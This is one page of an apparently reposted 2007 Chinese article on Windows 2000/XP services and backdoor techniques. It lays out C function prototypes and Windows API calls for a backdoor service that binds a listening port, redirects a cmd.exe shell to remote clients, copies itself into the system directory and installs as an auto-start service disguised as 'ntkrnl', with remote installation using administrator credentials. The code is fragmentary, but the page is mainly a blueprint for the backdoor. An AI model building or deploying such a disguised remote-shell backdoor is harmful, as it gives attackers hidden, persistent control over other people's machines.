浅析Win2K/XP服务与后门技术

日期：2007年8月5日作者：查看:[大字体中字体小字体]

DWORD WINAPI CmdService(LPVOID);
//服务主线程，创建服务监听端口，在接受客户连接时，创建重定向Cmd标准输入/输出线程；
DWORD WINAPI CmdShell(LPVOID);
//创建管道与Cmd进程，及Cmd的输入/输出线程；
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的输出，读取信息后发送到客户端；
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的输入，接收客户端的信息输入到Cmd进程；
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果选择远程模式，则须与远程主机建立连接，注须提供管理员权限的用户名与密码，密码为空时用"NULL"代替；
void InstallCmdService(char *);
//复制传送文件，打开服务控制管理器，创建或打开服务程序；
void RemoveCmdService(char *);
//删除文件，停止服务后，卸载服务程序；

　　2.服务程序相关函数

SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服务程序的名称和入口点；
{NULL ,NULL }
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束；
};
StartServiceCtrlDispatcher(DispatchTable);
//连接服务控制管理器，开始控制调度程序线程；
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注册CmdControl函数为“HandlerEx”函数，并初始化；
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,ServiceStatus)；
//设置服务的当前状态为SERVICE_RUNNING；
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//创建服务主线程，实现后门功能；
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量，控制全局变量的同步使用；
TerminateProcess(lpProcessDataHead->hProcess,1);
//终止创建的Cmd进程；
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系统目录下服务程序的文件是否已经存在；
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//获得当前进程的程序文件名；
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//复制文件到系统目录下；
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打开服务控制管理器数据库；
CreateService(schSCManager,"ntkrnl","ntkrnl",
　SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
　"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//创建服务，参数包括名称，服务类型，开始类型，错误类型及文件路径等；
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
上一页 [1] [2] [3] [4] [5] 下一页
浅析Win2K/XP服务与后门技术相关文章：
·解读身份认证技术现实化
·Photoshop图像合成教程:艺术化普通照片
·Windows 7操作系统新技术深入探讨
·多种DDoS攻击技术方法
·Windows Vista系统美化之DLL手术终极宝典
·简单分析Script脚本跨站攻击漏洞技术
·Photoshop打造完美靓丽MM艺术照
·电子杂志设计制作中的新技术整合运用
·Flash技术在电子杂志设计制作应用
·新手入门 ASP.NET2.0缓存技术
浅析Win2K/XP服务与后门技术相关软件
·《英雄Ⅱ》技术封测客户端
·球类技术：《奇妙碰碰球》游戏试玩
·《死灵术士之黑暗陷阱》试玩
·美术欣赏-纸雕艺术欣赏
·美术欣赏-金陵十二钗(六套图集)
·《魔兽争霸》怪异战术Replay
·《战争猎犬》技术演示动画一
·美术欣赏-曾孝濂《中国云南百花图》
·图片欣赏-欧洲古文化艺术宝藏
·篆刻典藏集-陈鸿寿篆刻艺术欣赏

上一篇:简述常见网络流氓软件

下一篇:网络安全基础知识之账号安全

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

浅析Win2K/XP服务与后门技术

精品推荐

热点TOP10

特别推荐